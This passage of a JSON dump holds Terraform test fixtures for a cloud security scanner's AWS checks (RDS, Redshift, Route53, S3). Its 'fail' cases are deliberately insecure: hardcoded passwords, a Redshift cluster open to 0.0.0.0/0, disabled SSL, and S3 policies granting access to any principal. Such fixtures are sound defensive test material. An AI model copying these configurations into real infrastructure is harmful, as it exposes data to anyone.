    "content": "\nresource \"aws_db_instance\" \"fail\" {\n  cluster_identifier      = \"aurora-cluster-demo\"\n  availability_zones      = [\"us-west-2a\", \"us-west-2b\", \"us-west-2c\"]\n  database_name           = \"mydb\"\n  master_username         = \"foo\"\n  master_password         = \"bar\"\n  backup_retention_period = 5\n  preferred_backup_window = \"07:00-09:00\"\n  deletion_protection     = false\n  instance_class          = \"m4.large\"\n}\n\nresource \"aws_db_instance\" \"fail2\" {\n  cluster_identifier           = \"aurora-cluster-demo\"\n  availability_zones           = [\"us-west-2a\", \"us-west-2b\", \"us-west-2c\"]\n  database_name                = \"mydb\"\n  master_username              = \"foo\"\n  master_password              = \"bar\"\n  backup_retention_period      = 5\n  preferred_backup_window      = \"07:00-09:00\"\n  instance_class               = \"m4.large\"\n  performance_insights_enabled = false\n}\n\nresource \"aws_db_instance\" \"pass\" {\n  cluster_identifier           = \"aurora-cluster-demo\"\n  availability_zones           = [\"us-west-2a\", \"us-west-2b\", \"us-west-2c\"]\n  database_name                = \"mydb\"\n  master_username              = \"foo\"\n  master_password              = \"bar\"\n  backup_retention_period      = 5\n  preferred_backup_window      = \"07:00-09:00\"\n  deletion_protection          = true\n  instance_class               = \"m4.large\"\n  performance_insights_enabled = true\n}\n\nresource \"aws_rds_cluster_instance\" \"fail\" {\n  identifier         = \"aurora-cluster-demo-${count.index}\"\n  cluster_identifier = aws_rds_cluster.default.id\n  instance_class     = \"db.r4.large\"\n  engine             = aws_rds_cluster.default.engine\n  engine_version     = aws_rds_cluster.default.engine_version\n}\n\nresource \"aws_rds_cluster_instance\" \"fail2\" {\n  identifier                   = \"aurora-cluster-demo-${count.index}\"\n  cluster_identifier           = aws_rds_cluster.default.id\n  instance_class               = \"db.r4.large\"\n  engine                       = aws_rds_cluster.default.engine\n  engine_version               = aws_rds_cluster.default.engine_version\n  performance_insights_enabled = false\n}\n\nresource \"aws_rds_cluster_instance\" \"pass\" {\n  identifier                   = \"aurora-cluster-demo-${count.index}\"\n  cluster_identifier           = aws_rds_cluster.default.id\n  instance_class               = \"db.r4.large\"\n  engine                       = aws_rds_cluster.default.engine\n  engine_version               = aws_rds_cluster.default.engine_version\n  performance_insights_enabled = true\n}\n\nresource \"aws_db_instance\" \"unknown_engine_class_combo\" {\n  allocated_storage    = 20\n  storage_type         = \"gp2\"\n  engine               = \"mariadb\"\n  engine_version       = \"10.5\"\n  instance_class       = \"db.t3.micro\"\n  name                 = \"mydatabase\"\n  username             = \"admin\"\n  password             = \"yourpassword\" # Use a more secure method for production\n  parameter_group_name = \"default.mariadb10.5\"\n  skip_final_snapshot  = true\n\n  tags = {\n    Name = \"MyMariaDBInstance\"\n  }\n}\n\nresource \"aws_rds_cluster_instance\" \"unknown_engine_defaultclass_combo\" {\n  identifier         = \"aurora-cluster-demo-${count.index}\"\n  cluster_identifier = aws_rds_cluster.default.id\n  instance_class     = \"db.t2.small\"\n  engine             = aws_rds_cluster.default.engine\n  engine_version     = aws_rds_cluster.default.engine_version\n}\n\nresource \"aws_rds_cluster_instance\" \"unknown_engine_class_combo\" {\n  identifier         = \"aurora-cluster-demo-${count.index}\"\n  cluster_identifier = aws_rds_cluster.default.id\n  instance_class     = \"db.t2.small\"\n  engine             = \"mysql\"\n  engine_version     = aws_rds_cluster.default.engine_version\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_RDSMultiAZEnabled/main.tf",
    "content": "# fail\nresource \"aws_db_instance\" \"disabled\" {\n  name   = \"name\"\n  engine = \"mysql\"\n\n  identifier     = \"id\"\n  instance_class = \"foo\"\n  multi_az       = false\n}\n\n# fail\nresource \"aws_db_instance\" \"default\" {\n  name   = \"name\"\n  engine = \"mysql\"\n\n  identifier     = \"id\"\n  instance_class = \"foo\"\n}\n\n# pass\nresource \"aws_db_instance\" \"enabled\" {\n  name   = \"name\"\n  engine = \"mysql\"\n\n  identifier     = \"id\"\n  instance_class = \"foo\"\n  multi_az       = true\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_RDSPostgreSQLLogFDWExtension/main.tf",
    "content": "# pass\n\nresource \"aws_db_instance\" \"pass\" {\n  name           = \"name\"\n  instance_class = \"db.t3.micro\"\n  engine         = \"postgres\"\n  engine_version = \"13.3\"\n}\n\nresource \"aws_rds_cluster\" \"pass\" {\n  engine = \"aurora-postgresql\"\n  engine_version = \"11.9\"\n}\n\n# fail\n\nresource \"aws_db_instance\" \"fail\" {\n  name           = \"name\"\n  instance_class = \"db.t3.micro\"\n  engine         = \"postgres\"\n  engine_version = \"13.2\"\n}\n\nresource \"aws_rds_cluster\" \"fail\" {\n  engine = \"aurora-postgresql\"\n  engine_version = \"11.8\"\n}\n\nresource \"aws_db_instance\" \"fail_old\" {\n  name           = \"name\"\n  instance_class = \"db.t3.micro\"\n  engine         = \"postgres\"\n  engine_version = \"9.6.21\"\n}\n\n# unknown\n\nresource \"aws_rds_cluster\" \"mysql_v1\" {\n}\n\nresource \"aws_db_instance\" \"mysql\" {\n  name           = \"name\"\n  engine         = \"mysql\"\n  instance_class = \"db.t3.micro\"\n}\n\nresource \"aws_db_instance\" \"postgres_unknown\" {\n  name           = \"name\"\n  instance_class = \"db.t3.micro\"\n  engine         = \"postgres\"\n  engine_version = var.engine_version\n}\n\n\nresource \"aws_db_instance\" \"unknown_two_parts\" {\n  name           = \"name\"\n  instance_class = \"db.t3.micro\"\n  engine         = \"postgres\"\n  engine_version = \"9.6\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_RedShiftSSL/main.tf",
    "content": "\nresource \"aws_redshift_parameter_group\" \"failasfalse\" {\n  name   = var.param_group_name\n  family = \"redshift-1.0\"\n\n  parameter {\n    name  = \"require_ssl\"\n    value = \"false\"\n  }\n\n  parameter {\n    name  = \"enable_user_activity_logging\"\n    value = \"true\"\n  }\n}\n\n\nresource \"aws_redshift_parameter_group\" \"fail\" {\n  name   = var.param_group_name\n  family = \"redshift-1.0\"\n\n}\n\n\nresource \"aws_redshift_parameter_group\" \"pass\" {\n  name   = var.param_group_name\n  family = \"redshift-1.0\"\n\n  parameter {\n    name  = \"require_ssl\"\n    value = \"true\"\n  }\n\n  parameter {\n    name  = \"enable_user_activity_logging\"\n    value = \"true\"\n  }\n}\n\nresource \"aws_redshift_parameter_group\" \"passbutbool\" {\n  name   = var.param_group_name\n  family = \"redshift-1.0\"\n\n  parameter {\n    name  = \"require_ssl\"\n    value = true\n  }\n\n  parameter {\n    name  = \"enable_user_activity_logging\"\n    value = \"true\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_RedshiftClusterAutoSnap/main.tf",
    "content": "resource \"aws_redshift_cluster\" \"pass\" {\n  cluster_identifier                  = \"examplea\"\n  availability_zone                   = data.aws_availability_zones.available.names[0]\n  database_name                       = \"mydb\"\n  master_username                     = \"foo_test\"\n  master_password                     = \"Mustbe8characters\"  # checkov:skip=CKV_SECRET_6 test secret\n  node_type                           = \"dc2.large\"\n  automated_snapshot_retention_period = 7\n  allow_version_upgrade               = false\n  skip_final_snapshot                 = true\n  encrypted                           = true\n  kms_key_id                          = aws_kms_key.test.arn\n}\n\nresource \"aws_redshift_cluster\" \"pass2\" {\n  cluster_identifier                  = \"examplea\"\n  availability_zone                   = data.aws_availability_zones.available.names[0]\n  database_name                       = \"mydb\"\n  master_username                     = \"foo_test\"\n  master_password                     = \"Mustbe8characters\"\n  node_type                           = \"dc2.large\"\n  allow_version_upgrade               = false\n  skip_final_snapshot                 = true\n  encrypted                           = true\n  kms_key_id                          = aws_kms_key.test.arn\n}\n\nresource \"aws_redshift_cluster\" \"fail\" {\n  cluster_identifier                  = \"examplea\"\n  availability_zone                   = data.aws_availability_zones.available.names[0]\n  database_name                       = \"mydb\"\n  master_username                     = \"foo_test\"\n  master_password                     = \"Mustbe8characters\"\n  node_type                           = \"dc2.large\"\n  automated_snapshot_retention_period = 0\n  allow_version_upgrade               = false\n  skip_final_snapshot                 = true\n  encrypted                           = true\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_RedshiftClusterDatabaseName/main.tf",
    "content": "resource \"aws_redshift_cluster\" \"pass\" {\n  cluster_identifier                  = \"examplea\"\n  availability_zone                   = data.aws_availability_zones.available.names[0]\n  database_name                       = \"mydb\"\n  master_username                     = \"foo_test\"\n  master_password                     = \"Mustbe8characters\"  # checkov:skip=CKV_SECRET_6 test secret\n  node_type                           = \"dc2.large\"\n  automated_snapshot_retention_period = 0\n  allow_version_upgrade               = false\n  skip_final_snapshot                 = true\n  encrypted                           = true\n  kms_key_id                          = aws_kms_key.test.arn\n}\n\nresource \"aws_redshift_cluster\" \"fail\" {\n  cluster_identifier                  = \"examplea\"\n  availability_zone                   = data.aws_availability_zones.available.names[0]\n  master_username                     = \"foo_test\"\n  master_password                     = \"Mustbe8characters\"\n  node_type                           = \"dc2.large\"\n  automated_snapshot_retention_period = 0\n  allow_version_upgrade               = false\n  skip_final_snapshot                 = true\n  encrypted                           = true\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_RedshiftClusterUseEnhancedVPCRouting/main.tf",
    "content": "resource \"aws_redshift_cluster\" \"pass\" {\n  cluster_identifier                  = \"examplea\"\n  availability_zone                   = data.aws_availability_zones.available.names[0]\n  database_name                       = \"mydb\"\n  master_username                     = \"foo_test\"\n  master_password                     = \"Mustbe8characters\"  # checkov:skip=CKV_SECRET_6 test secret\n  node_type                           = \"dc2.large\"\n  automated_snapshot_retention_period = 0\n  allow_version_upgrade               = false\n  skip_final_snapshot                 = true\n  encrypted                           = true\n  kms_key_id                          = aws_kms_key.test.arn\n  enhanced_vpc_routing = true\n}\n\nresource \"aws_redshift_cluster\" \"fail\" {\n  cluster_identifier                  = \"examplea\"\n  availability_zone                   = data.aws_availability_zones.available.names[0]\n  master_username                     = \"foo_test\"\n  master_password                     = \"Mustbe8characters\"\n  node_type                           = \"dc2.large\"\n  automated_snapshot_retention_period = 0\n  allow_version_upgrade               = false\n  skip_final_snapshot                 = true\n  encrypted                           = true\n}\n\nresource \"aws_redshift_cluster\" \"fail2\" {\n  cluster_identifier                  = \"examplea\"\n  availability_zone                   = data.aws_availability_zones.available.names[0]\n  master_username                     = \"foo_test\"\n  master_password                     = \"Mustbe8characters\"\n  node_type                           = \"dc2.large\"\n  automated_snapshot_retention_period = 0\n  allow_version_upgrade               = false\n  skip_final_snapshot                 = true\n  encrypted                           = true\n  enhanced_vpc_routing = false\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_RedshiftClusterWithCommonUsernameAndPublicAccess/main.tf",
    "content": "provider \"aws\" {\n  region = \"us-west-2\"\n}\n\nresource \"aws_redshift_cluster\" \"fail\" {\n  cluster_identifier  = \"vulnerable-redshift-cluster\"\n  database_name      = \"productiondb\"\n  master_username    = \"administrator\"\n  master_password    = \"Complex-P@ssw0rd789\"\n  node_type          = \"dc2.large\"\n  cluster_type       = \"single-node\"\n\n  publicly_accessible = true\n\n  skip_final_snapshot = true\n\n  vpc_security_group_ids = [aws_security_group.redshift_sg.id]\n}\n\nresource \"aws_security_group\" \"redshift_sg\" {\n  name        = \"vulnerable-redshift-sg\"\n  description = \"Security group for vulnerable Redshift cluster\"\n\n  ingress {\n    from_port   = 5439\n    to_port     = 5439\n    protocol    = \"tcp\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nprovider \"aws\" {\n  region = \"us-west-2\"\n}\n\nresource \"aws_redshift_cluster\" \"pass1\" {\n  cluster_identifier  = \"safe-redshift-cluster\"\n  database_name      = \"productiondb\"\n  master_username    = \"custom_user_84629\"\n  master_password    = \"vK#9mP$2nL@5qR8x\"\n  node_type          = \"dc2.large\"\n  cluster_type       = \"single-node\"\n\n  publicly_accessible = false\n\n  skip_final_snapshot = true\n\n  vpc_security_group_ids = [aws_security_group.safe_redshift_sg.id]\n\n  encrypted           = true\n  kms_key_id         = aws_kms_key.redshift_key.arn\n}\n\nresource \"aws_kms_key\" \"redshift_key\" {\n  description = \"KMS key for Redshift cluster encryption\"\n  enable_key_rotation = true\n}\n\nresource \"aws_security_group\" \"safe_redshift_sg\" {\n  name        = \"safe-redshift-sg\"\n  description = \"Security group for safe Redshift cluster\"\n\n  ingress {\n    from_port   = 5439\n    to_port     = 5439\n    protocol    = \"tcp\"\n    cidr_blocks = [\"10.0.0.0/16\"]  # Restricted to internal VPC CIDR\n  }\n}\n\nresource \"aws_redshift_cluster\" \"pass2\" {\n  cluster_identifier  = \"vulnerable-redshift-cluster\"\n  database_name      = \"productiondb\"\n  master_username    = \"administrator\"\n  master_password    = \"Complex-P@ssw0rd789\"\n  node_type          = \"dc2.large\"\n  cluster_type       = \"single-node\"\n\n  publicly_accessible = false\n\n  skip_final_snapshot = true\n\n  vpc_security_group_ids = [aws_security_group.redshift_sg.id]\n}\n\nresource \"aws_redshift_cluster\" \"pass3\" {\n  cluster_identifier  = \"vulnerable-redshift-cluster\"\n  database_name      = \"productiondb\"\n  master_username    = \"adm1n1str@t0r\"\n  master_password    = \"Complex-P@ssw0rd789\"\n  node_type          = \"dc2.large\"\n  cluster_type       = \"single-node\"\n\n  publicly_accessible = true\n\n  skip_final_snapshot = true\n\n  vpc_security_group_ids = [aws_security_group.redshift_sg.id]\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_RedshiftInEc2ClassicMode/main.tf",
    "content": "resource \"aws_redshift_cluster\" \"fail\" {\n  cluster_identifier  = \"redshift-defaults-only\"\n  node_type           = \"dc2.large\"\n  master_password     = \"Test1234\"\n  master_username     = \"test\"\n  skip_final_snapshot = true\n}\n\nresource \"aws_redshift_cluster\" \"pass\" {\n  cluster_identifier        = \"redshift-defaults-only\"\n  node_type                 = \"dc2.large\"\n  master_password           = \"Test1234\"\n  master_username           = \"test\"\n  skip_final_snapshot       = true\n  cluster_subnet_group_name = \"subnet-ebd9cead\"\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_RedshiftServerlessNamespaceKMSKey/main.tf",
    "content": "resource \"aws_redshiftserverless_namespace\" \"fail\" {\n  namespace_name = \"test-fail-namespace\"\n}\n\nresource \"aws_redshiftserverless_namespace\" \"pass\" {\n  namespace_name = \"test-pass-namespace\"\n  kms_key_id = aws_kms_key.example.arn\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_RedshiftSnapshotCopyGrantEncryptedWithCMK/main.tf",
    "content": "resource \"aws_redshift_snapshot_copy_grant\" \"pass\" {\n  snapshot_copy_grant_name = \"my-grant\"\n  kms_key_id               = aws_kms_key.test.arn\n}\n\nresource \"aws_redshift_snapshot_copy_grant\" \"fail\" {\n  snapshot_copy_grant_name = \"my-grant\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_Route53TransferLock/main.tf",
    "content": "resource \"aws_route53domains_registered_domain\" \"pass_missing\" {\n  domain_name = \"example.com\"\n\n  name_server {\n    name = \"ns-195.awsdns-24.com\"\n  }\n\n  name_server {\n    name = \"ns-874.awsdns-45.net\"\n  }\n\n  tags = {\n    Environment = \"test\"\n  }\n}\n\nresource \"aws_route53domains_registered_domain\" \"pass_true\" {\n  domain_name = \"example.com\"\n  transfer_lock = true\n\n  name_server {\n    name = \"ns-195.awsdns-24.com\"\n  }\n\n  name_server {\n    name = \"ns-874.awsdns-45.net\"\n  }\n\n  tags = {\n    Environment = \"test\"\n  }\n}\n\nresource \"aws_route53domains_registered_domain\" \"fail\" {\n  domain_name = \"example.com\"\n  transfer_lock = false\n\n  name_server {\n    name = \"ns-195.awsdns-24.com\"\n  }\n\n  name_server {\n    name = \"ns-874.awsdns-45.net\"\n  }\n\n  tags = {\n    Environment = \"test\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_S3AbortIncompleteUploads/main.tf",
    "content": "# fail\n\nresource \"aws_s3_bucket_lifecycle_configuration\" \"fail\" {\n  # Must have bucket versioning enabled first\n  depends_on = [aws_s3_bucket_versioning.versioning]\n\n  bucket = aws_s3_bucket.versioning_bucket.id\n\n  rule {\n    id = \"config\"\n\n    filter {\n      prefix = \"config/\"\n    }\n\n    noncurrent_version_expiration {\n      noncurrent_days = 90\n    }\n\n    noncurrent_version_transition {\n      noncurrent_days = 30\n      storage_class   = \"STANDARD_IA\"\n    }\n\n    noncurrent_version_transition {\n      noncurrent_days = 60\n      storage_class   = \"GLACIER\"\n    }\n\n    status = \"Enabled\"\n  }\n}\n\nresource \"aws_s3_bucket_lifecycle_configuration\" \"fail2\" {\n  bucket = aws_s3_bucket.bucket.id\n\n  rule {\n    abort_incomplete_multipart_upload {\n      days_after_initiation = 7\n    }\n    id = \"log\"\n\n    expiration {\n      days = 90\n    }\n\n    filter {\n      and {\n        prefix = \"log/\"\n\n        tags = {\n          rule      = \"log\"\n          autoclean = \"true\"\n        }\n      }\n    }\n\n    status = \"Enabled\"\n\n    transition {\n      days          = 30\n      storage_class = \"STANDARD_IA\"\n    }\n\n    transition {\n      days          = 60\n      storage_class = \"GLACIER\"\n    }\n  }\n\n  rule {\n    id = \"tmp\"\n\n    filter {\n      prefix = \"tmp/\"\n    }\n\n    expiration {\n      date = \"2023-01-13T00:00:00Z\"\n    }\n\n    status = \"Enabled\"\n  }\n}\n\nresource \"aws_s3_bucket_lifecycle_configuration\" \"fail3\" {\n  bucket = aws_s3_bucket.bucket.id\n\n  rule {\n    abort_incomplete_multipart_upload {\n      days_after_initiation = 7\n    }\n    id = \"log\"\n\n    status = \"Disabled\"\n  }\n}\n\n# pass\n\nresource \"aws_s3_bucket_lifecycle_configuration\" \"pass2\" {\n  bucket = aws_s3_bucket.bucket.id\n\n  rule {\n    abort_incomplete_multipart_upload {\n      days_after_initiation = 7\n    }\n    id = \"log\"\n\n    expiration {\n      days = 90\n    }\n\n    status = \"Enabled\"\n\n    transition {\n      days          = 30\n      storage_class = \"STANDARD_IA\"\n    }\n\n    transition {\n      days          = 60\n      storage_class = \"GLACIER\"\n    }\n  }\n\n  rule {\n    id     = \"id-2\"\n    status = \"Enabled\"\n\n    noncurrent_version_expiration {\n      noncurrent_days = 1\n    }\n  }\n}\n\nresource \"aws_s3_bucket_lifecycle_configuration\" \"pass\" {\n  bucket = aws_s3_bucket.bucket.id\n\n  rule {\n    abort_incomplete_multipart_upload {\n      days_after_initiation = 7\n    }\n    id = \"log\"\n\n    expiration {\n      days = 90\n    }\n\n    filter {\n      and {\n        prefix = \"log/\"\n\n        tags = {\n          rule      = \"log\"\n          autoclean = \"true\"\n        }\n      }\n    }\n\n    status = \"Enabled\"\n\n    transition {\n      days          = 30\n      storage_class = \"STANDARD_IA\"\n    }\n\n    transition {\n      days          = 60\n      storage_class = \"GLACIER\"\n    }\n  }\n\n  rule {\n    abort_incomplete_multipart_upload {\n      days_after_initiation = 7\n    }\n    id = \"tmp\"\n\n    expiration {\n      date = \"2023-01-13T00:00:00Z\"\n    }\n\n    status = \"Enabled\"\n  }\n}\n\nresource \"aws_s3_bucket_lifecycle_configuration\" \"pass3\" {\n  bucket = aws_s3_bucket.bucket.id\n\n  rule {\n    abort_incomplete_multipart_upload {\n      days_after_initiation = 7\n    }\n    filter {}\n    id = \"log\"\n    status = \"Enabled\"\n  }\n}\n\nresource \"aws_s3_bucket_lifecycle_configuration\" \"resource_with_dynamic_rule_pass4\" {\n  bucket = aws_s3_bucket.main.bucket\n\n  rule {\n    id     = \"abort_incomplete_multipart_upload\"\n    status = \"Enabled\"\n\n    abort_incomplete_multipart_upload {\n      days_after_initiation = var.config.abort_incomplete_multipart_upload\n    }\n  }\n\n  dynamic \"rule\" {\n    for_each = local.lifecycle_rules.storage_class\n\n    content {\n      id     = \"storage_class_is_${var.config.storage_class}\"\n      status = \"Enabled\"\n\n      transition {\n        storage_class = var.config.storage_class\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_S3AccessPointPubliclyAccessible/main.tf",
    "content": "resource \"aws_s3_access_point\" \"pass\" {\n  bucket = aws_s3_bucket.example.id\n  name   = \"example-access-point\"\n\n  public_access_block_configuration {\n    block_public_acls       = true\n    ignore_public_acls      = true\n    block_public_policy     = true\n    restrict_public_buckets = true\n  }\n}\n\nresource \"aws_s3_access_point\" \"pass_missing\" {\n  bucket = aws_s3_bucket.example.id\n  name   = \"example-access-point\"\n}\n\nresource \"aws_s3_access_point\" \"fail\" {\n  bucket = aws_s3_bucket.example.id\n  name   = \"example-access-point\"\n\n  public_access_block_configuration {\n    block_public_acls       = false\n    ignore_public_acls      = false\n    block_public_policy     = false\n    restrict_public_buckets = false\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_S3AllowsAnyPrincipal/main.tf",
    "content": "\r\nresource \"aws_s3_bucket\" \"unknown\" {\r\n  bucket = \"bucket\"\r\n}\r\n\r\nresource \"aws_s3_bucket\" \"fail3\" {\r\n  bucket = \"bucket\"\r\n\r\n  policy = <<POLICY\r\n{\r\n    \"Id\": \"Policy1597273448050\",\r\n    \"Version\": \"2012-10-17\",\r\n    \"Statement\": [\r\n        {\r\n            \"Sid\": \"Stmt1597273446725\",\r\n            \"Action\": [\r\n                \"s3:GetObject\"\r\n            ],\r\n            \"Effect\": \"Allow\",\r\n            \"Resource\": \"arn:aws:s3:::bucket/*\",\r\n            \"Principal\": {\r\n                \"AWS\": \"*\"\r\n            }\r\n        }\r\n    ]\r\n}\r\nPOLICY\r\n}\r\n\r\nresource \"aws_s3_bucket\" \"fail2\" {\r\n  bucket = \"bucket\"\r\n\r\n  policy = <<POLICY\r\n{\r\n    \"Id\": \"Policy1597273448050\",\r\n    \"Version\": \"2012-10-17\",\r\n    \"Statement\": [\r\n        {\r\n            \"Sid\": \"Stmt1597273446725\",\r\n            \"Action\": [\r\n                \"s3:GetObject\"\r\n            ],\r\n            \"Effect\": \"Allow\",\r\n            \"Resource\": \"arn:aws:s3:::bucket/*\",\r\n            \"Principal\": {\r\n                \"AWS\": [\"*\"]\r\n            }\r\n        }\r\n    ]\r\n}\r\nPOLICY\r\n}\r\n\r\nresource \"aws_s3_bucket\" \"fail\" {\r\n  bucket = \"bucket\"\r\n\r\n  policy = <<POLICY\r\n{\r\n    \"Id\": \"Policy1597273448050\",\r\n    \"Version\": \"2012-10-17\",\r\n    \"Statement\": [\r\n        {\r\n            \"Sid\": \"Stmt1597273446725\",\r\n            \"Action\": [\r\n                \"s3:GetObject\"\r\n            ],\r\n            \"Effect\": \"Allow\",\r\n            \"Resource\": \"arn:aws:s3:::bucket/*\",\r\n            \"Principal\": \"*\"\r\n        }\r\n    ]\r\n}\r\nPOLICY\r\n}\r\n\r\nresource \"aws_s3_bucket\" \"pass\" {\r\n  bucket = \"bucket\"\r\n\r\n  policy = <<POLICY\r\n{\r\n    \"Id\": \"Policy1597273448050\",\r\n    \"Version\": \"2012-10-17\",\r\n    \"Statement\": [\r\n        {\r\n            \"Sid\": \"Stmt1597273446725\",\r\n            \"Action\": [\r\n                \"s3:GetObject\"\r\n            ],\r\n            \"Effect\": \"Allow\",\r\n            \"Resource\": \"arn:aws:s3:::bucket/*\",\r\n            \"Principal\": {\r\n                \"AWS\": \"some_arn\"\r\n            }\r\n        }\r\n    ]\r\n}\r\nPOLICY\r\n}\r\n\r\nresource \"aws_s3_bucket\" \"pass2\" {\r\n  bucket = \"bucket\"\r\n\r\n  policy = <<POLICY\r\n{\r\n    \"Id\": \"Policy1597273448050\",\r\n    \"Version\": \"2012-10-17\",\r\n    \"Statement\": [\r\n        {\r\n            \"Sid\": \"Stmt1597273446725\",\r\n            \"Action\": [\r\n                \"s3:GetObject\"\r\n            ],\r\n            \"Effect\": \"Deny\",\r\n            \"Resource\": \"arn:aws:s3:::bucket/*\",\r\n            \"Principal\": \"*\"\r\n        }\r\n    ]\r\n}\r\nPOLICY\r\n}\r\n\r\nresource \"aws_s3_bucket_policy\" \"pass\" {\r\n  bucket = \"bucket\"\r\n\r\n  policy = <<POLICY\r\n{\r\n    \"Id\": \"Policy1597273448050\",\r\n    \"Version\": \"2012-10-17\",\r\n    \"Statement\": [\r\n        {\r\n            \"Sid\": \"Stmt1597273446725\",\r\n            \"Action\": [\r\n                \"s3:GetObject\"\r\n            ],\r\n            \"Effect\": \"Allow\",\r\n            \"Resource\": \"arn:aws:s3:::bucket/*\",\r\n            \"Principal\": {\r\n                \"AWS\": \"some_arn\"\r\n            }\r\n        }\r\n    ]\r\n}\r\nPOLICY\r\n}\r\n\r\nresource \"aws_s3_bucket_policy\" \"fail\" {\r\n  bucket = \"bucket\"\r\n\r\n  policy = <<POLICY\r\n{\r\n    \"Id\": \"Policy1597273448050\",\r\n    \"Version\": \"2012-10-17\",\r\n    \"Statement\": [\r\n        {\r\n            \"Sid\": \"Stmt1597273446725\",\r\n            \"Action\": [\r\n                \"s3:GetObject\"\r\n            ],\r\n            \"Effect\": \"Allow\",\r\n            \"Resource\": \"arn:aws:s3:::bucket/*\",\r\n            \"Principal\": {\r\n                \"AWS\": \"*\"\r\n            }\r\n        }\r\n    ]\r\n}\r\nPOLICY\r\n}\r\n\r\n\r\nresource \"aws_s3_bucket_policy\" \"json\" {\r\n  bucket = aws_s3_bucket.b.id\r\n  policy = data.aws_iam_policy_document.test.json\r\n}\r\n\r\ndata \"aws_iam_policy_document\" \"test\" {\r\n  statement {\r\n    principals {\r\n      type        = \"AWS\"\r\n      identifiers = [\"*\"]\r\n    }\r\n    actions   = [\"s3:GetObject\"]\r\n    resources = [\"${aws_s3_bucket.b.arn}/*\"]\r\n  }\r\n}\r\n\r\n\r\nresource \"aws_s3_bucket_policy\" \"pass_w_condition\" {\r\n  bucket = \"bucket\"\r\n\r\n  policy = <<POLICY\r\n{\r\n    \"Id\": \"Policy1597273448050\",\r\n    \"Version\": \"2012-10-17\",\r\n    \"Statement\": [\r\n        {\r\n            \"Sid\": \"Stmt1597273446725\",\r\n            \"Action\": [\r\n                \"s3:GetObject\"\r\n            ],\r\n            \"Effect\": \"Allow\",\r\n            \"Resource\": \"arn:aws:s3:::bucket/*\",\r\n            \"Principal\": {\r\n                \"AWS\": \"*\"\r\n            },\r\n            \"Condition\": {\r\n              \"ArnNotEquals\": {\r\n                \"aws:PrincipalArn\": \"arn:aws:iam::12345555555555:user/username\"\r\n              }\r\n            }\r\n        }\r\n    ]\r\n}\r\nPOLICY\r\n}\r\n\r\nresource \"aws_s3_bucket\" \"pass_w_condition\" {\r\n  bucket = \"bucket\"\r\n\r\n  policy = <<POLICY\r\n{\r\n    \"Id\": \"Policy1597273448050\",\r\n    \"Version\": \"2012-10-17\",\r\n    \"Statement\": [\r\n        {\r\n            \"Sid\": \"Stmt1597273446725\",\r\n            \"Action\": [\r\n                \"s3:GetObject\"\r\n            ],\r\n            \"Effect\": \"Allow\",\r\n            \"Resource\": \"arn:aws:s3:::bucket/*\",\r\n            \"Principal\": {\r\n                \"AWS\": \"*\"\r\n            },\r\n            \"Condition\": {\r\n              \"ArnNotEquals\": {\r\n                \"aws:PrincipalArn\": \"arn:aws:iam::12345555555555:user/username\"\r\n              }\r\n            }\r\n        }\r\n    ]\r\n}\r\nPOLICY\r\n}\r\n\r\n# BAD:\r\nresource \"aws_s3_bucket_policy\" \"pass_w_condition2\" {\r\n  bucket = \"bucket\"\r\n\r\n  policy = <<POLICY\r\n{\r\n    \"Id\": \"Policy1597273448050\",\r\n    \"Version\": \"2012-10-17\",\r\n    \"Statement\": [\r\n        {\r\n            \"Sid\": \"Stmt1597273446725\",\r\n            \"Action\": [\r\n                \"s3:GetObject\"\r\n            ],\r\n            \"Effect\": \"Allow\",\r\n            \"Resource\": \"arn:aws:s3:::bucket/*\",\r\n            \"Principal\": {\r\n                \"AWS\": \"*\"\r\n            },\r\n            \"Condition\": {\r\n              \"ArnEquals\": {\r\n                \"aws:PrincipalArn\": \"arn:aws:iam::12345555555555:user/username\"\r\n              }\r\n            }\r\n        }\r\n    ]\r\n}\r\nPOLICY\r\n}\r\n\r\nresource \"aws_s3_bucket\" \"pass_w_condition2\" {\r\n  bucket = \"bucket\"\r\n\r\n  policy = <<POLICY\r\n{\r\n    \"Id\": \"Policy1597273448050\",\r\n    \"Version\": \"2012-10-17\",\r\n    \"Statement\": [\r\n        {\r\n            \"Sid\": \"Stmt1597273446725\",\r\n            \"Action\": [\r\n                \"s3:GetObject\"\r\n            ],\r\n            \"Effect\": \"Allow\",\r\n            \"Resource\": \"arn:aws:s3:::bucket/*\",\r\n            \"Principal\": {\r\n                \"AWS\": \"*\"\r\n            },\r\n            \"Condition\": {\r\n              \"ArnEquals\": {\r\n                \"aws:PrincipalArn\": \"arn:aws:iam::12345555555555:user/username\"\r\n              }\r\n            }\r\n        }\r\n    ]\r\n}\r\nPOLICY\r\n}\r\n\r\nresource \"aws_s3_bucket_policy\" \"fail_w_condition\" {\r\n  bucket = \"bucket\"\r\n\r\n  policy = <<POLICY\r\n{\r\n    \"Id\": \"Policy1597273448050\",\r\n    \"Version\": \"2012-10-17\",\r\n    \"Statement\": [\r\n        {\r\n            \"Sid\": \"Stmt1597273446725\",\r\n            \"Action\": [\r\n                \"s3:GetObject\"\r\n            ],\r\n            \"Effect\": \"Allow\",\r\n            \"Resource\": \"arn:aws:s3:::bucket/*\",\r\n            \"Principal\": {\r\n                \"AWS\": \"*\"\r\n            },\r\n            \"Condition\": {\r\n              \"ArnEquals\": {\r\n                \"aws:PrincipalArn\": \"arn:aws:iam::*\"\r\n              }\r\n            }\r\n        }\r\n    ]\r\n}\r\nPOLICY\r\n}\r\n\r\nresource \"aws_s3_bucket\" \"fail_w_condition\" {\r\n  bucket = \"bucket\"\r\n\r\n  policy = <<POLICY\r\n{\r\n    \"Id\": \"Policy1597273448050\",\r\n    \"Version\": \"2012-10-17\",\r\n    \"Statement\": 